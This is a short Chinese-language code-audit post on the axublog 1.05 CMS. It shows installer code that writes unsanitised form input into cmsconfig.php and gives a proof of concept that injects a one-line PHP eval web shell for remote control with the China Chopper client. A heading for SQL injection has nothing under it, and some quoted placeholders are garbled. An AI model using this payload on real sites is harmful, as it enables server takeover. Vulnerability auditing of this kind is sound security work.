axublog 1.05代碼審計
阿新 • • 發佈：2017-08-30
fun function onf div pty link strong 寫入 代碼
00x1 安裝漏洞
install/cmsconfig.php
1 function step4(){ 2 $root=$_POST["root"]; 3 $dbuser=$_POST["dbuser"]; 4 $dbpsw=$_POST["dbpsw"]; 5 $dbname=$_POST["dbname"]; 6 $tabhead=$_POST["tabhead"]; 7 8 $ad_user=$_POST["ad_user"]; 9 $ad_psw=$_POST["ad_psw"]; 10 11 $webname=$_POST["webname"];12 $weburl=$_POST["weburl"]; 13 $webinfo=$_POST["webinfo"]; 14 $webkeywords=$_POST["webkeywords"]; 15 $webauthor=$_POST["webauthor"];
這幾個都是可控的，並沒有進行任何處理。然後傳到了$text2，然後又寫到了cmsconfig.php當中。
1 $file="config_empty.php"; 2 $fp=fopen($file,"r"); //以寫入方式打開文件 3 $text2=fread($fp,4096); //讀取文件內容 4 $text2=str_replace(‘@[email protected]‘,$root,$text2); 5 $text2=str_replace(‘@[email protected]‘,$dbuser,$text2); 6 $text2=str_replace(‘@[email protected]‘,$dbpsw,$text2); 7 $text2=str_replace(‘@[email protected]‘,$dbname,$text2); 8 $text2=str_replace(‘@[email protected]‘,$tabhead,$text2); 9 $text2=str_replace(‘@[email protected]‘,$webname,$text2); 10 $text2=str_replace(‘@[email protected]‘,$weburl,$text2); 11 $text2=str_replace(‘@[email protected]‘,$webinfo,$text2); 12 $text2=str_replace(‘@[email protected]‘,$webkeywords,$text2); 13 $text2=str_replace(‘@[email protected]‘,$webauthor,$text2); 14 $file="../cmsconfig.php"; //定義文件 15 $fp=fopen($file,"w"); //以寫入方式打開文件 16 fwrite($fp,$text2); 17 @unlink("goinstall.php");
這個漏洞比較簡單，直接在配置信息中填寫一句話閉合就可以getshell了。
POC:"@eval($_POST[‘xishaonian‘])
然後菜刀直接連接就cmsconfig.php即可。
00x2 SQL註入
axublog 1.05代碼審計